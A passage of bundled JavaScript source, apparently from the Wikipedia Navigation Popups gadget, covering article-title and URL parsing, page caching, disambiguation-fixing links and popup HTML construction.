return (wikiText.parenSplit(pg.re.category).length - 1) / (pg.re.categoryBracketCount + 1);
}
function popupFilterStubDetect(data, download, article) {
const counts = stubCount(data, article);
if (counts.real) {
return popupString('stub');
}
if (counts.sect) {
return popupString('section stub');
}
return '';
}
function popupFilterDisambigDetect(data, download, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return '';
}
return isDisambig(data, article) ? popupString('disambig') : '';
}
function formatBytes(num) {
return num > 949 ?
Math.round(num / 100) / 10 + popupString('kB') :
num + ' ' + popupString('bytes');
}
// ENDFILE: pageinfo.js
// STARTFILE: titles.js
/**
* @file Defines the {@link Title} class, and associated crufty functions.
*
* <code>Title</code> deals with article titles and their various
* forms. {@link Stringwrapper} is the parent class of
* <code>Title</code>, which exists simply to make things a little
* neater.
*/
/**
* Creates a new Stringwrapper.
*
* @constructor
*
* @class the Stringwrapper class. This base class is not really
* useful on its own; it just wraps various common string operations.
*/
function Stringwrapper() {
/**
* Wrapper for this.toString().indexOf()
*
* @param {string} x
* @type {number}
*/
this.indexOf = function (x) {
return this.toString().indexOf(x);
};
/**
* Returns this.value.
*
* @type {string}
*/
this.toString = function () {
return this.value;
};
/**
* Wrapper for {@link String#parenSplit} applied to this.toString()
*
* @param {RegExp} x
* @type {Array}
*/
this.parenSplit = function (x) {
return this.toString().parenSplit(x);
};
/**
* Wrapper for this.toString().substring()
*
* @param {string} x
* @param {string} y (optional)
* @type {string}
*/
this.substring = function (x, y) {
if (typeof y == 'undefined') {
return this.toString().substring(x);
}
return this.toString().substring(x, y);
};
/**
* Wrapper for this.toString().split()
*
* @param {string} x
* @type {Array}
*/
this.split = function (x) {
return this.toString().split(x);
};
/**
* Wrapper for this.toString().replace()
*
* @param {string} x
* @param {string} y
* @type {string}
*/
this.replace = function (x, y) {
return this.toString().replace(x, y);
};
}
/**
* Creates a new <code>Title</code>.
*
* @constructor
*
* @class The Title class. Holds article titles and converts them into
* various forms. Also deals with anchors, by which we mean the bits
* of the article URL after a # character, representing locations
* within an article.
*
* @param {string} value The initial value to assign to the
* article. This must be the canonical title (see {@link
* Title#value}. Omit this in the constructor and use another function
* to set the title if this is unavailable.
*/
function Title(val) {
/**
* The canonical article title. This must be in UTF-8 with no
* entities, escaping or nasties. Also, underscores should be
* replaced with spaces.
*
* @type {string}
* @private
*/
this.value = null;
/**
* The canonical form of the anchor. This should be exactly as
* it appears in the URL, i.e. with the .C3.0A bits in.
*
* @type {string}
*/
this.anchor = '';
this.setUtf(val);
}
Title.prototype = new Stringwrapper();
/**
* Returns the canonical representation of the article title, optionally without anchor.
*
* @param {boolean} omitAnchor
* @fixme Decide specs for anchor
* @return String The article title and the anchor.
*/
Title.prototype.toString = function (omitAnchor) {
return this.value + (!omitAnchor && this.anchor ? '#' + this.anchorString() : '');
};
Title.prototype.anchorString = function () {
if (!this.anchor) {
return '';
}
const split = this.anchor.parenSplit(/((?:[.][0-9A-F]{2})+)/);
const len = split.length;
let value;
for (let j = 1; j < len; j += 2) {
// FIXME s/decodeURI/decodeURIComponent/g ?
value = split[j].split('.').join('%');
try {
value = decodeURIComponent(value);
} catch (e) {
// cannot decode
}
split[j] = value.split('_').join(' ');
}
return split.join('');
};
Title.prototype.urlAnchor = function () {
const split = this.anchor.parenSplit('/((?:[%][0-9A-F]{2})+)/');
const len = split.length;
for (let j = 1; j < len; j += 2) {
split[j] = split[j].split('%').join('.');
}
return split.join('');
};
Title.prototype.anchorFromUtf = function (str) {
this.anchor = encodeURIComponent(str.split(' ').join('_'))
.split('%3A')
.join(':')
.split("'")
.join('%27')
.split('%')
.join('.');
};
Title.fromURL = function (h) {
return new Title().fromURL(h);
};
Title.prototype.fromURL = function (h) {
if (typeof h != 'string') {
this.value = null;
return this;
}
// NOTE : playing with decodeURI, encodeURI, escape, unescape,
// we seem to be able to replicate the IE borked encoding
// IE doesn't do this new-fangled utf-8 thing.
// and it's worse than that.
// IE seems to treat the query string differently to the rest of the url
// the query is treated as bona-fide utf8, but the first bit of the url is pissed around with
// we fix up & for all browsers, just in case.
const splitted = h.split('?');
splitted[0] = splitted[0].split('&').join('%26');
h = splitted.join('?');
const contribs = pg.re.contribs.exec(h);
if (contribs) {
if (contribs[1] == 'title=') {
contribs[3] = contribs[3].split('+').join(' ');
}
const u = new Title(contribs[3]);
this.setUtf(
this.decodeNasties(
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] + ':' + u.stripNamespace()
)
);
return this;
}
const email = pg.re.email.exec(h);
if (email) {
this.setUtf(
this.decodeNasties(
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] +
':' +
new Title(email[3]).stripNamespace()
)
);
return this;
}
const backlinks = pg.re.backlinks.exec(h);
if (backlinks) {
this.setUtf(this.decodeNasties(new Title(backlinks[3])));
return this;
}
//A dummy title object for a Special:Diff link.
const specialdiff = pg.re.specialdiff.exec(h);
if (specialdiff) {
this.setUtf(
this.decodeNasties(
new Title(mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] + ':Diff')
)
);
return this;
}
// no more special cases to check --
// hopefully it's not a disguised user-related or specially treated special page
// Includes references
const m = pg.re.main.exec(h);
if (m === null) {
this.value = null;
} else {
const fromBotInterface = /[?](.+[&])?title=/.test(h);
if (fromBotInterface) {
m[2] = m[2].split('+').join('_');
}
const extracted = m[2] + (m[3] ? '#' + m[3] : '');
if (pg.flag.isSafari && /%25[0-9A-Fa-f]{2}/.test(extracted)) {
// Fix Safari issue
// Safari sometimes encodes % as %25 in UTF-8 encoded strings like %E5%A3 -> %25E5%25A3.
this.setUtf(decodeURIComponent(unescape(extracted)));
} else {
this.setUtf(this.decodeNasties(extracted));
}
}
return this;
};
Title.prototype.decodeNasties = function (txt) {
// myDecodeURI uses decodeExtras, which removes _,
// thus ruining citations previews, which are formated as "cite_note-1"
try {
let ret = decodeURI(this.decodeEscapes(txt));
ret = ret.replace(/[_ ]*$/, '');
return ret;
} catch (e) {
return txt; // cannot decode
}
};
// Decode valid %-encodings, otherwise escape them
Title.prototype.decodeEscapes = function (txt) {
const split = txt.parenSplit(/((?:[%][0-9A-Fa-f]{2})+)/);
const len = split.length;
// No %-encoded items found, so replace the literal %
if (len === 1) {
return split[0].replace(/%(?![0-9a-fA-F][0-9a-fA-F])/g, '%25');
}
for (let i = 1; i < len; i = i + 2) {
split[i] = decodeURIComponent(split[i]);
}
return split.join('');
};
Title.fromAnchor = function (a) {
return new Title().fromAnchor(a);
};
Title.prototype.fromAnchor = function (a) {
if (!a) {
this.value = null;
return this;
}
return this.fromURL(a.href);
};
Title.fromWikiText = function (txt) {
return new Title().fromWikiText(txt);
};
Title.prototype.fromWikiText = function (txt) {
// FIXME - testing needed
txt = myDecodeURI(txt);
this.setUtf(txt);
return this;
};
Title.prototype.hintValue = function () {
if (!this.value) {
return '';
}
return safeDecodeURI(this.value);
};
Title.prototype.toUserName = function (withNs) {
if (this.namespaceId() != pg.nsUserId && this.namespaceId() != pg.nsUsertalkId) {
this.value = null;
return;
}
this.value =
(withNs ? mw.config.get('wgFormattedNamespaces')[pg.nsUserId] + ':' : '') +
this.stripNamespace().split('/')[0];
};
Title.prototype.userName = function (withNs) {
const t = new Title(this.value);
t.toUserName(withNs);
if (t.value) {
return t;
}
return null;
};
Title.prototype.toTalkPage = function () {
// convert article to a talk page, or if we can't, return null
// In other words: return null if this ALREADY IS a talk page
// and return the corresponding talk page otherwise
//
// Per https://www.mediawiki.org/wiki/Manual:Namespace#Subject_and_talk_namespaces
// * All discussion namespaces have odd-integer indices
// * The discussion namespace index for a specific namespace with index n is n + 1
if (this.value === null) {
return null;
}
const namespaceId = this.namespaceId();
if (namespaceId >= 0 && namespaceId % 2 === 0) {
//non-special and subject namespace
const localizedNamespace = mw.config.get('wgFormattedNamespaces')[namespaceId + 1];
if (typeof localizedNamespace !== 'undefined') {
if (localizedNamespace === '') {
this.value = this.stripNamespace();
} else {
this.value = localizedNamespace.split(' ').join('_') + ':' + this.stripNamespace();
}
return this.value;
}
}
this.value = null;
return null;
};
// Return canonical, localized namespace
Title.prototype.namespace = function () {
return mw.config.get('wgFormattedNamespaces')[this.namespaceId()];
};
Title.prototype.namespaceId = function () {
const n = this.value.indexOf(':');
if (n < 0) {
return 0;
} //mainspace
const namespaceId =
mw.config.get('wgNamespaceIds')[
this.value.substring(0, n).split(' ').join('_').toLowerCase()
];
if (typeof namespaceId == 'undefined') {
return 0;
} //mainspace
return namespaceId;
};
Title.prototype.talkPage = function () {
const t = new Title(this.value);
t.toTalkPage();
if (t.value) {
return t;
}
return null;
};
Title.prototype.isTalkPage = function () {
if (this.talkPage() === null) {
return true;
}
return false;
};
Title.prototype.toArticleFromTalkPage = function () {
//largely copy/paste from toTalkPage above.
if (this.value === null) {
return null;
}
const namespaceId = this.namespaceId();
if (namespaceId >= 0 && namespaceId % 2 == 1) {
//non-special and talk namespace
const localizedNamespace = mw.config.get('wgFormattedNamespaces')[namespaceId - 1];
if (typeof localizedNamespace !== 'undefined') {
if (localizedNamespace === '') {
this.value = this.stripNamespace();
} else {
this.value = localizedNamespace.split(' ').join('_') + ':' + this.stripNamespace();
}
return this.value;
}
}
this.value = null;
return null;
};
Title.prototype.articleFromTalkPage = function () {
const t = new Title(this.value);
t.toArticleFromTalkPage();
if (t.value) {
return t;
}
return null;
};
Title.prototype.articleFromTalkOrArticle = function () {
const t = new Title(this.value);
if (t.toArticleFromTalkPage()) {
return t;
}
return this;
};
Title.prototype.isIpUser = function () {
return pg.re.ipUser.test(this.userName());
};
Title.prototype.stripNamespace = function () {
// returns a string, not a Title
const n = this.value.indexOf(':');
if (n < 0) {
return this.value;
}
const namespaceId = this.namespaceId();
if (namespaceId === pg.nsMainspaceId) {
return this.value;
}
return this.value.substring(n + 1);
};
Title.prototype.setUtf = function (value) {
if (!value) {
this.value = '';
return;
}
const anch = value.indexOf('#');
if (anch < 0) {
this.value = value.split('_').join(' ');
this.anchor = '';
return;
}
this.value = value.substring(0, anch).split('_').join(' ');
this.anchor = value.substring(anch + 1);
this.ns = null; // wait until namespace() is called
};
Title.prototype.setUrl = function (urlfrag) {
const anch = urlfrag.indexOf('#');
this.value = safeDecodeURI(urlfrag.substring(0, anch));
this.anchor = this.value.substring(anch + 1);
};
Title.prototype.append = function (x) {
this.setUtf(this.value + x);
};
Title.prototype.urlString = function (x) {
if (!x) {
x = {};
}
let v = this.toString(true);
if (!x.omitAnchor && this.anchor) {
v += '#' + this.urlAnchor();
}
if (!x.keepSpaces) {
v = v.split(' ').join('_');
}
return encodeURI(v).split('&').join('%26').split('?').join('%3F').split('+').join('%2B');
};
Title.prototype.removeAnchor = function () {
return new Title(this.toString(true));
};
Title.prototype.toUrl = function () {
return pg.wiki.titlebase + this.urlString();
};
function parseParams(url) {
const specialDiff = pg.re.specialdiff.exec(url);
if (specialDiff) {
const split = specialDiff[1].split('/');
if (split.length == 1) {
return { oldid: split[0], diff: 'prev' };
} else if (split.length == 2) {
return { oldid: split[0], diff: split[1] };
}
}
const ret = {};
if (url.indexOf('?') == -1) {
return ret;
}
url = url.split('#')[0];
const s = url.split('?').slice(1).join();
const t = s.split('&');
for (let i = 0; i < t.length; ++i) {
const z = t[i].split('=');
z.push(null);
ret[z[0]] = z[1];
}
//Diff revision with no oldid is interpreted as a diff to the previous revision by MediaWiki
if (ret.diff && typeof ret.oldid === 'undefined') {
ret.oldid = 'prev';
}
//Documentation seems to say something different, but oldid can also accept prev/next, and
//Echo is emitting such URLs. Simple fixup during parameter decoding:
if (ret.oldid && (ret.oldid === 'prev' || ret.oldid === 'next' || ret.oldid === 'cur')) {
const helper = ret.diff;
ret.diff = ret.oldid;
ret.oldid = helper;
}
return ret;
}
// (a) myDecodeURI (first standard decodeURI, then pg.re.urlNoPopup)
// (b) change spaces to underscores
// (c) encodeURI (just the straight one, no pg.re.urlNoPopup)
function myDecodeURI(str) {
let ret;
// FIXME decodeURIComponent??
try {
ret = decodeURI(str.toString());
} catch (summat) {
return str;
}
for (let i = 0; i < pg.misc.decodeExtras.length; ++i) {
const from = pg.misc.decodeExtras[i].from;
const to = pg.misc.decodeExtras[i].to;
ret = ret.split(from).join(to);
}
return ret;
}
function safeDecodeURI(str) {
const ret = myDecodeURI(str);
return ret || str;
}
///////////
// TESTS //
///////////
function isDisambig(data, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return false;
}
return !article.isTalkPage() && pg.re.disambig.test(data);
}
function stubCount(data, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return false;
}
let sectStub = 0;
let realStub = 0;
if (pg.re.stub.test(data)) {
const s = data.parenSplit(pg.re.stub);
for (let i = 1; i < s.length; i = i + 2) {
if (s[i]) {
++sectStub;
} else {
++realStub;
}
}
}
return { real: realStub, sect: sectStub };
}
function isValidImageName(str) {
// extend as needed...
return str.indexOf('{') == -1;
}
function isInStrippableNamespace(article) {
// Does the namespace allow subpages
// Note, would be better if we had access to wgNamespacesWithSubpages
return article.namespaceId() !== 0;
}
function isInMainNamespace(article) {
return article.namespaceId() === 0;
}
function anchorContainsImage(a) {
// iterate over children of anchor a
// see if any are images
if (a === null) {
return false;
}
const kids = a.childNodes;
for (let i = 0; i < kids.length; ++i) {
if (kids[i].nodeName == 'IMG') {
return true;
}
}
return false;
}
function isPopupLink(a) {
// NB for performance reasons, TOC links generally return true
// they should be stripped out later
if (!markNopopupSpanLinks.done) {
markNopopupSpanLinks();
}
if (a.inNopopupSpan) {
return false;
}
// FIXME is this faster inline?
if (a.onmousedown || a.getAttribute('nopopup')) {
return false;
}
const h = a.href;
if (h === document.location.href + '#') {
return false;
}
if (!pg.re.basenames.test(h)) {
return false;
}
if (!pg.re.urlNoPopup.test(h)) {
return true;
}
return (
(pg.re.email.test(h) ||
pg.re.contribs.test(h) ||
pg.re.backlinks.test(h) ||
pg.re.specialdiff.test(h)) &&
h.indexOf('&limit=') == -1
);
}
function markNopopupSpanLinks() {
if (!getValueOf('popupOnlyArticleLinks')) {
fixVectorMenuPopups();
}
const s = $('.nopopups').toArray();
for (let i = 0; i < s.length; ++i) {
const as = s[i].getElementsByTagName('a');
for (let j = 0; j < as.length; ++j) {
as[j].inNopopupSpan = true;
}
}
markNopopupSpanLinks.done = true;
}
function fixVectorMenuPopups() {
$('nav.vector-menu h3:first a:first').prop('inNopopupSpan', true);
}
// ENDFILE: titles.js
// STARTFILE: getpage.js
//////////////////////////////////////////////////
// Wiki-specific downloading
//
// Schematic for a getWiki call
//
// getPageWithCaching
// |
// false | true
// getPage<-[findPictureInCache]->-onComplete(a fake download)
// \.
// (async)->addPageToCache(download)->-onComplete(download)
// check cache to see if page exists
function getPageWithCaching(url, onComplete, owner) {
log('getPageWithCaching, url=' + url);
const i = findInPageCache(url);
let d;
if (i > -1) {
d = fakeDownload(
url,
owner.idNumber,
onComplete,
pg.cache.pages[i].data,
pg.cache.pages[i].lastModified,
owner
);
} else {
d = getPage(url, onComplete, owner);
if (d && owner && owner.addDownload) {
owner.addDownload(d);
d.owner = owner;
}
}
}
function getPage(url, onComplete, owner) {
log('getPage');
const callback = function (d) {
if (!d.aborted) {
addPageToCache(d);
onComplete(d);
}
};
return startDownload(url, owner.idNumber, callback);
}
function findInPageCache(url) {
for (let i = 0; i < pg.cache.pages.length; ++i) {
if (url == pg.cache.pages[i].url) {
return i;
}
}
return -1;
}
function addPageToCache(download) {
log('addPageToCache ' + download.url);
const page = {
url: download.url,
data: download.data,
lastModified: download.lastModified,
};
return pg.cache.pages.push(page);
}
// ENDFILE: getpage.js
// STARTFILE: parensplit.js
//////////////////////////////////////////////////
// parenSplit
// String.prototype.parenSplit should do what ECMAscript says String.prototype.split does,
// interspersing paren matches (regex capturing groups) between the split elements.
// i.e. 'abc'.split(/(b)/)) should return ['a','b','c'], not ['a','c']
if (String('abc'.split(/(b)/)) != 'a,b,c') {
// broken String.split, e.g. konq, IE < 10
String.prototype.parenSplit = function (re) {
re = nonGlobalRegex(re);
let s = this;
let m = re.exec(s);
let ret = [];
while (m && s) {
// without the following loop, we have
// 'ab'.parenSplit(/a|(b)/) != 'ab'.split(/a|(b)/)
for (let i = 0; i < m.length; ++i) {
if (typeof m[i] == 'undefined') {
m[i] = '';
}
}
ret.push(s.substring(0, m.index));
ret = ret.concat(m.slice(1));
s = s.substring(m.index + m[0].length);
m = re.exec(s);
}
ret.push(s);
return ret;
};
} else {
String.prototype.parenSplit = function (re) {
return this.split(re);
};
String.prototype.parenSplit.isNative = true;
}
function nonGlobalRegex(re) {
const s = re.toString();
let flags = '';
for (var j = s.length; s.charAt(j) != '/'; --j) {
if (s.charAt(j) != 'g') {
flags += s.charAt(j);
}
}
const t = s.substring(1, j);
return RegExp(t, flags);
}
// ENDFILE: parensplit.js
// STARTFILE: tools.js
// IE madness with encoding
// ========================
//
// suppose throughout that the page is in utf8, like wikipedia
//
// if a is an anchor DOM element and a.href should consist of
//
// http://host.name.here/wiki/foo?bar=baz
//
// then IE gives foo as "latin1-encoded" utf8; we have foo = decode_utf8(decodeURI(foo_ie))
// but IE gives bar=baz correctly as plain utf8
//
// ---------------------------------
//
// IE's xmlhttp doesn't understand utf8 urls. Have to use encodeURI here.
//
// ---------------------------------
//
// summat else
// Source: http://aktuell.de.selfhtml.org/artikel/javascript/utf8b64/utf8.htm
function getJsObj(json) {
try {
const json_ret = JSON.parse(json);
if (json_ret.warnings) {
for (let w = 0; w < json_ret.warnings.length; w++) {
if (json_ret.warnings[w]['*']) {
log(json_ret.warnings[w]['*']);
} else {
log(json_ret.warnings[w].warnings);
}
}
} else if (json_ret.error) {
errlog(json_ret.error.code + ': ' + json_ret.error.info);
}
return json_ret;
} catch (someError) {
errlog('Something went wrong with getJsObj, json=' + json);
return 1;
}
}
function anyChild(obj) {
for (const p in obj) {
return obj[p];
}
return null;
}
function upcaseFirst(str) {
if (typeof str != typeof '' || str === '') {
return '';
}
return str.charAt(0).toUpperCase() + str.substring(1);
}
function findInArray(arr, foo) {
if (!arr || !arr.length) {
return -1;
}
const len = arr.length;
for (let i = 0; i < len; ++i) {
if (arr[i] == foo) {
return i;
}
}
return -1;
}
/* eslint-disable no-unused-vars */
function nextOne(array, value) {
// NB if the array has two consecutive entries equal
// then this will loop on successive calls
const i = findInArray(array, value);
if (i < 0) {
return null;
}
return array[i + 1];
}
/* eslint-enable no-unused-vars */
function literalizeRegex(str) {
return mw.util.escapeRegExp(str);
}
String.prototype.entify = function () {
//var shy='­';
return this.split('&')
.join('&')
.split('<')
.join('<')
.split('>')
.join('>' /*+shy*/)
.split('"')
.join('"');
};
// Array filter function
function removeNulls(val) {
return val !== null;
}
function joinPath(list) {
return list.filter(removeNulls).join('/');
}
function simplePrintf(str, subs) {
if (!str || !subs) {
return str;
}
const ret = [];
const s = str.parenSplit(/(%s|\$[0-9]+)/);
let i = 0;
do {
ret.push(s.shift());
if (!s.length) {
break;
}
const cmd = s.shift();
if (cmd == '%s') {
if (i < subs.length) {
ret.push(subs[i]);
} else {
ret.push(cmd);
}
++i;
} else {
const j = parseInt(cmd.replace('$', ''), 10) - 1;
if (j > -1 && j < subs.length) {
ret.push(subs[j]);
} else {
ret.push(cmd);
}
}
} while (s.length > 0);
return ret.join('');
}
/* eslint-disable no-unused-vars */
function isString(x) {
return typeof x === 'string' || x instanceof String;
}
function isNumber(x) {
return typeof x === 'number' || x instanceof Number;
}
function isRegExp(x) {
return x instanceof RegExp;
}
function isArray(x) {
return x instanceof Array;
}
function isObject(x) {
return x instanceof Object;
}
function isFunction(x) {
return !isRegExp(x) && (typeof x === 'function' || x instanceof Function);
}
/* eslint-enable no-unused-vars */
function repeatString(s, mult) {
let ret = '';
for (let i = 0; i < mult; ++i) {
ret += s;
}
return ret;
}
function zeroFill(s, min) {
min = min || 2;
const t = s.toString();
return repeatString('0', min - t.length) + t;
}
function map(f, o) {
if (isArray(o)) {
return map_array(f, o);
}
return map_object(f, o);
}
function map_array(f, o) {
const ret = [];
for (let i = 0; i < o.length; ++i) {
ret.push(f(o[i]));
}
return ret;
}
function map_object(f, o) {
const ret = {};
for (const i in o) {
ret[o] = f(o[i]);
}
return ret;
}
pg.escapeQuotesHTML = function (text) {
return text
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>');
};
pg.unescapeQuotesHTML = function (html) {
// From https://stackoverflow.com/a/7394787
// This seems to be implemented correctly on all major browsers now, so we
// don't have to make our own function.
const txt = document.createElement('textarea');
txt.innerHTML = html;
return txt.value;
};
// ENDFILE: tools.js
// STARTFILE: dab.js
//////////////////////////////////////////////////
// Dab-fixing code
//
function retargetDab(newTarget, oldTarget, friendlyCurrentArticleName, titleToEdit) {
log('retargetDab: newTarget=' + newTarget + ' oldTarget=' + oldTarget);
return changeLinkTargetLink({
newTarget: newTarget,
text: newTarget.split(' ').join(' '),
hint: tprintf('disambigHint', [newTarget]),
summary: simplePrintf(getValueOf('popupFixDabsSummary'), [
friendlyCurrentArticleName,
newTarget,
]),
clickButton: getValueOf('popupDabsAutoClick'),
minor: true,
oldTarget: oldTarget,
watch: getValueOf('popupWatchDisambiggedPages'),
title: titleToEdit,
});
}
function listLinks(wikitext, oldTarget, titleToEdit) {
// mediawiki strips trailing spaces, so we do the same
// testcase: https://en.wikipedia.org/w/index.php?title=Radial&oldid=97365633
const reg = /\[\[([^|]*?) *(\||\]\])/gi;
let ret = [];
const splitted = wikitext.parenSplit(reg);
// ^[a-z]+ should match interwiki links, hopefully (case-insensitive)
// and ^[a-z]* should match those and [[:Category...]] style links too
const omitRegex = /^[a-z]*:|^[Ss]pecial:|^[Ii]mage|^[Cc]ategory/;
const friendlyCurrentArticleName = oldTarget.toString();
const wikPos = getValueOf('popupDabWiktionary');
for (let i = 1; i < splitted.length; i = i + 3) {
if (
typeof splitted[i] == typeof 'string' &&
splitted[i].length > 0 &&
!omitRegex.test(splitted[i])
) {
ret.push(retargetDab(splitted[i], oldTarget, friendlyCurrentArticleName, titleToEdit));
} /* if */
} /* for loop */
ret = rmDupesFromSortedList(ret.sort());
if (wikPos) {
const wikTarget =
'wiktionary:' +
friendlyCurrentArticleName.replace(/^(.+)\s+[(][^)]+[)]\s*$/, '$1');
let meth;
if (wikPos.toLowerCase() == 'first') {
meth = 'unshift';
} else {
meth = 'push';
}
ret[meth](retargetDab(wikTarget, oldTarget, friendlyCurrentArticleName, titleToEdit));
}
ret.push(
changeLinkTargetLink({
newTarget: null,
text: popupString('remove this link').split(' ').join(' '),
hint: popupString('remove all links to this disambig page from this article'),
clickButton: getValueOf('popupDabsAutoClick'),
oldTarget: oldTarget,
summary: simplePrintf(getValueOf('popupRmDabLinkSummary'), [friendlyCurrentArticleName]),
watch: getValueOf('popupWatchDisambiggedPages'),
title: titleToEdit,
})
);
return ret;
}
function rmDupesFromSortedList(list) {
const ret = [];
for (let i = 0; i < list.length; ++i) {
if (ret.length === 0 || list[i] != ret[ret.length - 1]) {
ret.push(list[i]);
}
}
return ret;
}
function makeFixDab(data, navpop) {
// grab title from parent popup if there is one; default exists in changeLinkTargetLink
const titleToEdit = navpop.parentPopup && navpop.parentPopup.article.toString();
const list = listLinks(data, navpop.originalArticle, titleToEdit);
if (list.length === 0) {
log('listLinks returned empty list');
return null;
}
let html = '<hr />' + popupString('Click to disambiguate this link to:') + '<br>';
html += list.join(', ');
return html;
}
function makeFixDabs(wikiText, navpop) {
if (
getValueOf('popupFixDabs') &&
isDisambig(wikiText, navpop.article) &&
Title.fromURL(location.href).namespaceId() != pg.nsSpecialId &&
navpop.article.talkPage()
) {
setPopupHTML(makeFixDab(wikiText, navpop), 'popupFixDab', navpop.idNumber);
}
}
function popupRedlinkHTML(article) {
return changeLinkTargetLink({
newTarget: null,
text: popupString('remove this link').split(' ').join(' '),
hint: popupString('remove all links to this page from this article'),
clickButton: getValueOf('popupRedlinkAutoClick'),
oldTarget: article.toString(),
summary: simplePrintf(getValueOf('popupRedlinkSummary'), [article.toString()]),
});
}
// ENDFILE: dab.js
// STARTFILE: htmloutput.js
// this has to use a timer loop as we don't know if the DOM element exists when we want to set the text
function setPopupHTML(str, elementId, popupId, onSuccess, append) {
if (typeof popupId === 'undefined') {
//console.error('popupId is not defined in setPopupHTML, html='+str.substring(0,100));
popupId = pg.idNumber;
}
const popupElement = document.getElementById(elementId + popupId);
if (popupElement) {
if (!append) {
popupElement.innerHTML = '';
}
if (isString(str)) {
popupElement.innerHTML += str;
} else {
popupElement.appendChild(str);
}
if (onSuccess) {
onSuccess();
}
setTimeout(checkPopupPosition, 100);
return true;
} else {
// call this function again in a little while...
setTimeout(() => {
setPopupHTML(str, elementId, popupId, onSuccess);
}, 600);
}
return null;
}
function setPopupTrailer(str, id) {
return setPopupHTML(str, 'popupData', id);
}
// args.navpopup is mandatory
// optional: args.redir, args.redirTarget
// FIXME: ye gods, this is ugly stuff
function fillEmptySpans(args) {
// if redir is present and true then redirTarget is mandatory
let redir = true;
let rcid;
if (typeof args != 'object' || typeof args.redir == 'undefined' || !args.redir) {
redir = false;
}
const a = args.navpopup.parentAnchor;
let article,
hint = null,
oldid = null,
params = {};
if (redir && typeof args.redirTarget == typeof {}) {
article = args.redirTarget;
//hint=article.hintValue();
} else {
article = new Title().fromAnchor(a);
hint = a.originalTitle || article.hintValue();
params = parseParams(a.href);
oldid = getValueOf('popupHistoricalLinks') ? params.oldid : null;
rcid = params.rcid;
}
const x = {
article: article,
hint: hint,
oldid: oldid,
rcid: rcid,
navpop: args.navpopup,
params: params,
};
const structure = pg.structures[getValueOf('popupStructure')];
if (typeof structure != 'object') {
setPopupHTML(
'popupError',
'Unknown structure (this should never happen): ' + pg.option.popupStructure,
args.navpopup.idNumber
);
return;
}
const spans = flatten(pg.misc.layout);
const numspans = spans.length;
const redirs = pg.misc.redirSpans;
for (let i = 0; i < numspans; ++i) {
const found = redirs && redirs.indexOf(spans[i]) !== -1;
//log('redir='+redir+', found='+found+', spans[i]='+spans[i]);
if ((found && !redir) || (!found && redir)) {
//log('skipping this set of the loop');
continue;
}
const structurefn = structure[spans[i]];
if (structurefn === undefined) {
// nothing to do for this structure part
continue;
}
let setfn = setPopupHTML;
if (
getValueOf('popupActiveNavlinks') &&
(spans[i].indexOf('popupTopLinks') === 0 || spans[i].indexOf('popupRedirTopLinks') === 0)
) {
setfn = setPopupTipsAndHTML;
}
switch (typeof structurefn) {
case 'function':
log(
'running ' +
spans[i] +
'({article:' +
x.article +
', hint:' +
x.hint +
', oldid: ' +
x.oldid +
'})'
);
setfn(structurefn(x), spans[i], args.navpopup.idNumber);
break;
case 'string':
setfn(structurefn, spans[i], args.navpopup.idNumber);
break;
default:
errlog('unknown thing with label ' + spans[i] + ' (span index was ' + i + ')');
break;
}
}
}
// flatten an array
function flatten(list, start) {
const ret = [];
if (typeof start == 'undefined') {
start = 0;
}
for (let i = start; i < list.length; ++i) {
if (typeof list[i] == typeof []) {
return ret.concat(flatten(list[i])).concat(flatten(list, i + 1));
} else {
ret.push(list[i]);
}
}
return ret;
}
// Generate html for whole popup
function popupHTML(a) {
getValueOf('popupStructure');
const structure = pg.structures[pg.option.popupStructure];
if (typeof structure != 'object') {
//return 'Unknown structure: '+pg.option.popupStructure;
// override user choice
pg.option.popupStructure = pg.optionDefault.popupStructure;
return popupHTML(a);
}
if (typeof structure.popupLayout != 'function') {
return 'Bad layout';
}
pg.misc.layout = structure.popupLayout();
if (typeof structure.popupRedirSpans === 'function') {
pg.misc.redirSpans = structure.popupRedirSpans();
} else {
pg.misc.redirSpans = [];
}
return makeEmptySpans(pg.misc.layout, a.navpopup);
}
function makeEmptySpans(list, navpop) {
let ret = '';
for (let i = 0; i < list.length; ++i) {
if (typeof list[i] == typeof '') {
ret += emptySpanHTML(list[i], navpop.idNumber, 'div');
} else if (typeof list[i] == typeof [] && list[i].length > 0) {
ret = ret.parenSplit(/(<\/[^>]*?>$)/).join(makeEmptySpans(list[i], navpop));
} else if (typeof list[i] == typeof {} && list[i].nodeType) {
ret += emptySpanHTML(list[i].name, navpop.idNumber, list[i].nodeType);
}
}
return ret;
}
function emptySpanHTML(name, id, tag, classname) {
tag = tag || 'span';
if (!classname) {
classname = emptySpanHTML.classAliases[name];
}
classname = classname || name;
if (name == getValueOf('popupDragHandle')) {
classname += ' popupDragHandle';
}
return simplePrintf('<%s id="%s" class="%s"></%s>', [tag, name + id, classname, tag]);
}
emptySpanHTML.classAliases = { popupSecondPreview: 'popupPreview' };
// generate html for popup image
// <a id="popupImageLinkn"><img id="popupImagen">
// where n=idNumber
function imageHTML(article, idNumber) {
return simplePrintf(
'<a id="popupImageLink$1">' +
'<img align="right" valign="top" id="popupImg$1" style="display: none;"></img>' +
'</a>',
[idNumber]
);
}
function popTipsSoonFn(id, when, popData) {
if (!when) {
when = 250;
}
const popTips = function () {
setupTooltips(document.getElementById(id), false, true, popData);
};
return function () {
setTimeout(popTips, when, popData);
};
}
function setPopupTipsAndHTML(html, divname, idnumber, popData) {
setPopupHTML(
html,
divname,
idnumber,
getValueOf('popupSubpopups') ? popTipsSoonFn(divname + idnumber, null, popData) : null
);
}
// ENDFILE: htmloutput.js
// STARTFILE: mouseout.js
//////////////////////////////////////////////////
// fuzzy checks
function fuzzyCursorOffMenus(x, y, fuzz, parent) {
if (!parent) {
return null;
}
const uls = parent.getElementsByTagName('ul');
for (let i = 0; i < uls.length; ++i) {
if (uls[i].className == 'popup_menu') {
if (uls[i].offsetWidth > 0) {
return false;
}
} // else {document.title+='.';}
}
return true;
}
function checkPopupPosition() {
// stop the popup running off the right of the screen
// FIXME avoid pg.current.link
if (pg.current.link && pg.current.link.navpopup) {
pg.current.link.navpopup.limitHorizontalPosition();
}
}
function mouseOutWikiLink() {
